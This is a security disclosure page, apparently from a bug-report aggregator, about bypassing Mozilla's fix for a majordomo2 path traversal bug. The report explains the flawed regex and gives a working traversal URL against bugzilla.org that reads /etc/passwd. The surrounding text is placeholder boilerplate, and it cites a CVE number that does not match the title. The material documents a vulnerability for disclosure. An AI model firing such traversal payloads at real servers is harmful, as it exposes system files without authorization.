Possible to bypass fix for CVE-2011-0049 (majordomo2 directory traversal in 'help' command)
Originally disclosed on Mozilla
- Fixed in 15 days
- Paid in 2.8 years
- Disclosed after 15 days
Nikolas Sotiriu <[address removed]> reported the following issue to security@ concerning a way to bypass the majordomo2 fix in bug 628064:
=================================================================
So the bug is that the majordomo2 path for the bug (628064) is absolut
terrible and not working.
See attachment 506481.
Check the regex ($file =~ s!/?\.\./?!!g;) do you see it :)
It deletes ../ but what happens if i ./.../ ?
./.../ becomes ../
http://bugzilla.org/cgi-bin/mj_wwwusr?passw=&list=GLOBAL&user=&func=help&extra=./..././..././..././..././..././..././..././.../etc/passwd
Maybe a regex like this is better:
$file =~ s/\.\.//g;
=================================================================
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A critical-severity path traversal bug in General. Mozilla made it public on 19 February 2011 as CVE-2011-0063.
About Path traversal
Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is Path traversal?
Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.